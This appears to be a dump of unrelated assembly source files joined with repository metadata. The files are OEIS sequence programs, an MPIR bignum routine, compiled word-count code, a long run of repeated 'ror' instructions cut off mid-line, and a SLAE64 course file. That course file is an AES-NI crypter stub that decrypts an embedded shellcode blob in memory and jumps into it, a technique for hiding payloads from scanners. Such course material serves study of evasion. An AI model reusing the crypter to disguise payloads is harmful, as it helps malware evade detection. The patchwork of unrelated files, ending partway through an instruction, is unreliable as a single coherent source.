; A097072: Expansion of (1 - 2*x + 2*x^2)/((1 - x^2)*(1 - 2*x)). ; 1,0,3,4,11,20,43,84,171,340,683,1364,2731,5460,10923,21844,43691,87380,174763,349524,699051,1398100,2796203,5592404,11184811,22369620,44739243,89478484,178956971,357913940,715827883,1431655764,2863311531,5726623060,11453246123,22906492244,45812984491,91625968980,183251937963,366503875924,733007751851,1466015503700,2932031007403,5864062014804,11728124029611,23456248059220,46912496118443,93824992236884,187649984473771,375299968947540,750599937895083,1501199875790164,3002399751580331,6004799503160660 mov $1,1 lpb $0 sub $0,1 mov $2,$1 add $4,$1 add $3,$4 mov $1,$3 sub $1,$2 mov $4,$2 add $4,$3 mov $3,1 lpe
43.5625
504
0.76901
0a3b68c5307f7226c641e4055920a6399f310628
4,128
nasm
Assembly
07_crypter_aesni/decrypter.nasm
undefinstr/SLAE64
168c8ac94f9dd9d618fb77db1d4cf2c6b33949df
[ "MIT" ]
null
null
null
07_crypter_aesni/decrypter.nasm
undefinstr/SLAE64
168c8ac94f9dd9d618fb77db1d4cf2c6b33949df
[ "MIT" ]
null
null
null
07_crypter_aesni/decrypter.nasm
undefinstr/SLAE64
168c8ac94f9dd9d618fb77db1d4cf2c6b33949df
[ "MIT" ]
null
null
null
; AES128-ECB. Yep, ECB. BITS 64 global _start section .text _start: jmp start2 key: db 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c ciphertext: db 0x4e,0xb1,0xcd,0xf5,0x55,0xf9,0xbe,0x63,0x18,0xfe,0x67,0x79,0x72,0x07,0x42,0x74,0x91,0x0c,0x22,0xaa,0x43,0x7a,0x1e,0xb8,0x49,0xa7,0x28,0xca,0x7a,0x5c,0x0c,0x20 mask: db 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b start2: lea rax, [rel ciphertext] ; load first block of ciphertext into rax mov rcx, 2 ; block count and rsp, 0xfffffffffffffff0 ; align stack sub rsp, 16 ; align stack decrypt: jmp decrypt_block decrypt_continue: add rax, 16 loop decrypt jmp ciphertext ; after the loop, the content is already decrypted and contains the original shellcode decrypt_block: ; generate round keys and push them on the stack mov r10, rsp movdqu xmm5, [rel mask] movdqu xmm1, [rel key] ; k0 == k20 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x01 ; k1 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x02 ; k2 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x04 ; k3 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x08 ; k4 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x10 ; k5 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x20 ; k6 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x40 ; k7 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x80 ; k8 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x1B ; k9 call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aeskeygenassist xmm2, xmm1, 0x36 ; k10 (used for encryption and decryption) call key_expansion128 sub rsp, 16 movdqu [rsp], xmm1 aesimc xmm2, [r10-10*16] ; k11 sub rsp, 16 movdqu [rsp], xmm2 aesimc xmm2, [r10-9*16] ; k12 sub rsp, 16 movdqu [rsp], xmm2 aesimc xmm2, [r10-8*16] ; k13 sub rsp, 16 movdqu [rsp], xmm2 aesimc xmm2, [r10-7*16] ; k14 sub rsp, 16 movdqu [rsp], xmm2 aesimc xmm2, [r10-6*16] ; k15 sub rsp, 16 movdqu [rsp], xmm2 aesimc xmm2, [r10-5*16] ; k16 sub rsp, 16 movdqu [rsp], xmm2 aesimc xmm2, [r10-4*16] ; k17 sub rsp, 16 movdqu [rsp], xmm2 aesimc xmm2, [r10-3*16] ; k18 sub rsp, 16 movdqu [rsp], xmm2 aesimc xmm2, [r10-2*16] ; k19 sub rsp, 16 movdqu [rsp], xmm2 ; decrypt with the appropriate round keys movdqu xmm1, [rax] ; load block of ciphertext into xmm1 for decryption pxor xmm1, [r10-11*16] ; k10 aesdec xmm1, [r10-12*16] ; k11 aesdec xmm1, [r10-13*16] ; k12 aesdec xmm1, [r10-14*16] ; k13 aesdec xmm1, [r10-15*16] ; k14 aesdec xmm1, [r10-16*16] ; k15 aesdec xmm1, [r10-17*16] ; k16 aesdec xmm1, [r10-18*16] ; k17 aesdec xmm1, [r10-19*16] ; k18 aesdec xmm1, [r10-20*16] ; k19 aesdeclast xmm1, [r10-16] ; k0 (last round) movdqu [rax], xmm1 ; store decrypted block in source position mov rsp, r10 ; restore stack jmp decrypt_continue key_expansion128: pshufd xmm2, xmm2, 0xFF movdqa xmm3, xmm1 pshufb xmm3, xmm5 pxor xmm1, xmm3 pshufb xmm3, xmm5 pxor xmm1, xmm3 pshufb xmm3, xmm5 pxor xmm1, xmm3 pxor xmm1, xmm2 ret
26.461538
178
0.572674
ce391d64d39ee81737555ee7464dbfa846d21546
624
asm
Assembly
oeis/185/A185096.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/185/A185096.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/185/A185096.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A185096: Let T(n) = n(n+1)/2 be the n-th triangular number (A000217); a(n) = T(8T(n)). ; 0,36,300,1176,3240,7260,14196,25200,41616,64980,97020,139656,195000,265356,353220,461280,592416,749700,936396,1155960,1412040,1708476,2049300,2438736,2881200,3381300,3943836,4573800,5276376,6056940,6921060,7874496,8923200,10073316,11331180,12703320,14196456,15817500,17573556,19471920,21520080,23725716,26096700,28641096,31367160,34283340,37398276,40720800,44259936,48024900,52025100,56270136,60769800,65534076,70573140,75897360,81517296,87443700,93687516,100259880,107172120,114435756,122062500 mul $0,2 add $0,1 pow $0,2 bin $0,2
78
497
0.810897
b567ed512cc2f9edff3aeaf5a8336c855847849d
6,026
asm
Assembly
test/ker2.asm
eruffaldi/cmm
ba2942a89231d85141b8d226331e0940492ec661
[ "Apache-2.0" ]
null
null
null
test/ker2.asm
eruffaldi/cmm
ba2942a89231d85141b8d226331e0940492ec661
[ "Apache-2.0" ]
null
null
null
test/ker2.asm
eruffaldi/cmm
ba2942a89231d85141b8d226331e0940492ec661
[ "Apache-2.0" ]
null
null
null
.386P if @Version gt 510 .model FLAT else _TEXT SEGMENT PARA USE32 PUBLIC 'CODE' _TEXT ENDS _DATA SEGMENT DWORD USE32 PUBLIC 'DATA' _DATA ENDS CONST SEGMENT DWORD USE32 PUBLIC 'CONST' CONST ENDS _BSS SEGMENT DWORD USE32 PUBLIC 'BSS' _BSS ENDS _TLS SEGMENT DWORD USE32 PUBLIC 'TLS' _TLS ENDS FLAT GROUP _DATA, CONST, _BSS ASSUME CS: FLAT, DS: FLAT, SS: FLAT endif PUBLIC _main ;main EXTRN _printf:NEAR ;printf EXTRN _getchar:NEAR ;getchar _TEXT SEGMENT _nl$ = -4 _nw$ = -8 _EOF$ = -12 _state$ = -16 _c$ = -20 _OUT$ = -24 _nc$ = -28 _IN$ = -32 _main PROC NEAR ;main push ebp mov ebp, esp sub esp, 32 push 1 ; 1 mov eax, DWORD PTR [esp] mov DWORD PTR _IN$[ebp], eax pop eax push -1 ; -1 mov eax, DWORD PTR [esp] mov DWORD PTR _EOF$[ebp], eax pop eax push 0 ; 0 mov eax, DWORD PTR [esp] mov DWORD PTR _OUT$[ebp], eax pop eax push DWORD PTR _OUT$[ebp] mov eax, DWORD PTR [esp] mov DWORD PTR _state$[ebp], eax pop eax push 0 ; 0 mov eax, DWORD PTR [esp] mov DWORD PTR _nc$[ebp], eax mov eax, DWORD PTR [esp] mov DWORD PTR _nw$[ebp], eax mov eax, DWORD PTR [esp] mov DWORD PTR _nl$[ebp], eax pop eax $2: call _getchar add esp, 0 push eax mov eax, DWORD PTR [esp] mov DWORD PTR _c$[ebp], eax push DWORD PTR _EOF$[ebp] pop eax pop ebx cmp eax, ebx je $1 $0: lea eax, DWORD PTR _nc$[ebp] push eax pop eax inc dword ptr [eax] push eax pop eax push DWORD PTR _c$[ebp] push 10 ; 10 pop eax pop ebx cmp eax, ebx jne $3 lea eax, DWORD PTR _nl$[ebp] push eax pop eax inc dword ptr [eax] push eax pop eax $3: push DWORD PTR _c$[ebp] push 32 ; 32 pop eax pop ebx cmp eax, ebx je $4 push DWORD PTR _c$[ebp] push 10 ; 10 pop eax pop ebx cmp eax, ebx je $4 push DWORD PTR _c$[ebp] push 9 ; 9 pop eax pop ebx cmp eax, ebx jne $6 $4: $5: push DWORD PTR _OUT$[ebp] mov eax, DWORD PTR [esp] mov DWORD PTR _state$[ebp], eax pop eax jmp $8 $6: push DWORD PTR _state$[ebp] push DWORD PTR _OUT$[ebp] pop eax pop ebx cmp eax, ebx jne $7 push DWORD PTR _IN$[ebp] mov eax, DWORD PTR [esp] mov DWORD PTR _state$[ebp], eax pop eax lea eax, DWORD PTR _nw$[ebp] push eax pop eax inc dword ptr [eax] push eax pop eax $7: $8: jmp $2 $1: push DWORD PTR _nc$[ebp] push DWORD PTR _nw$[ebp] push DWORD PTR _nl$[ebp] push OFFSET FLAT:$SG0 call _printf add esp, 16 $uscita: mov esp, ebp pop ebp ret _main ENDP ;main _TEXT ENDS _DATA SEGMENT $SG0 DB '%d %d %d', 0AH, 00H _DATA ENDS END
39.12987
49
0.27232
97c3cef8c2bb8ff5afcdda9f9747a949a6a45c22
169
asm
Assembly
libsrc/_DEVELOPMENT/l/z80/integer/l_addu_hl_bc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/l/z80/integer/l_addu_hl_bc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/l/z80/integer/l_addu_hl_bc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_l PUBLIC l_addu_hl_bc l_addu_hl_bc: ; uses : hl, f ; carry set on overflow add hl,bc ret nc ld hl,$ffff ret
9.941176
26
0.633136
d329d4871876e11a07b988927d04f5d30dd599ea
1,502
asm
Assembly
externals/mpir-3.0.0/mpn/x86_64/sandybridge/mod_1_1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
12
2021-09-29T14:50:06.000Z
2022-03-31T15:01:21.000Z
externals/mpir-3.0.0/mpn/x86_64/sandybridge/mod_1_1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
15
2021-12-24T22:53:49.000Z
2021-12-25T10:03:13.000Z
LibSource/mpir/mpn/x86_64/k8/mod_1_1.asm
ekzyis/CrypTool-2
1af234b4f74486fbfeb3b3c49228cc36533a8c89
[ "Apache-2.0" ]
10
2021-10-17T19:46:51.000Z
2022-03-18T02:57:57.000Z
dnl mpn_mod_1_1 dnl Copyright 2009 Jason Moxham dnl This file is part of the MPIR Library. dnl The MPIR Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 2.1 of the License, or (at dnl your option) any later version. dnl The MPIR Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the MPIR Library; see the file COPYING.LIB. If not, write dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, dnl Boston, MA 02110-1301, USA. include(`../config.m4') C (rdi,2)= not fully reduced remainder of (rsi,rdx) / divisor , and top limb <d C where (rcx,2) contains B^i % divisor ASM_START() PROLOGUE(mpn_mod_1_1) push %r13 mov -8(%rsi,%rdx,8),%r13 mov -16(%rsi,%rdx,8),%rax mov (%rcx),%r8 mov 8(%rcx),%r9 mov %rdx,%rcx sub $2,%rcx ALIGN(16) lp: mov -8(%rsi,%rcx,8),%r10 mul %r8 add %rax,%r10 mov $0,%r11 adc %rdx,%r11 mov %r13,%rax mul %r9 add %r10,%rax mov %r11,%r13 adc %rdx,%r13 dec %rcx jnz lp C // r13,rax mov %rax,(%rdi) mov %r8,%rax mul %r13 add %rax,(%rdi) adc $0,%rdx mov %rdx,8(%rdi) pop %r13 ret EPILOGUE()
23.46875
79
0.714381
8af610cb1925d89d87d6656a7bdf1575a9ede4d5
344
asm
Assembly
programs/oeis/132/A132680.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/132/A132680.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/132/A132680.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A132680: Number of ones in binary representation of odious numbers. ; 1,1,1,3,1,3,3,3,1,3,3,3,3,3,3,5,1,3,3,3,3,3,3,5,3,3,3,5,3,5,5,5,1,3,3,3,3,3,3,5,3,3,3,5,3,5,5,5,3,3,3,5,3,5,5,5,3,5,5,5,5,5,5,7,1,3,3,3,3,3,3,5,3,3,3,5,3,5,5,5,3,3,3,5,3,5,5,5,3,5,5,5,5,5,5,7,3,3,3,5 mov $1,$0 lpb $1 div $1,2 sub $0,$1 lpe div $0,2 mul $0,2 add $0,1
28.666667
201
0.561047
75e39f2579861cb28b38c537c214f55ae8237121
120,396
asm
Assembly
spin_wait/win_rorl.asm
patinnc/oppat
5113cb46b5810d421a4e87903c8afe4f46605ae7
[ "MIT" ]
24
2019-03-30T17:58:58.000Z
2022-03-30T06:25:28.000Z
spin_wait/win_rorl.asm
patinnc/oppat
5113cb46b5810d421a4e87903c8afe4f46605ae7
[ "MIT" ]
null
null
null
spin_wait/win_rorl.asm
patinnc/oppat
5113cb46b5810d421a4e87903c8afe4f46605ae7
[ "MIT" ]
2
2019-05-14T11:49:01.000Z
2022-03-01T10:44:50.000Z
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27032.1 include listing.inc INCLUDELIB LIBCMT INCLUDELIB OLDNAMES PUBLIC win_rorl ; Function compile flags: /Odtp _TEXT SEGMENT inp$ = 8 win_rorl PROC ; File c:\pfay\tmp\tst.c ; Line 3 mov DWORD PTR [rsp+8], ecx ; Line 4 mov eax, DWORD PTR inp$[rsp] ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror 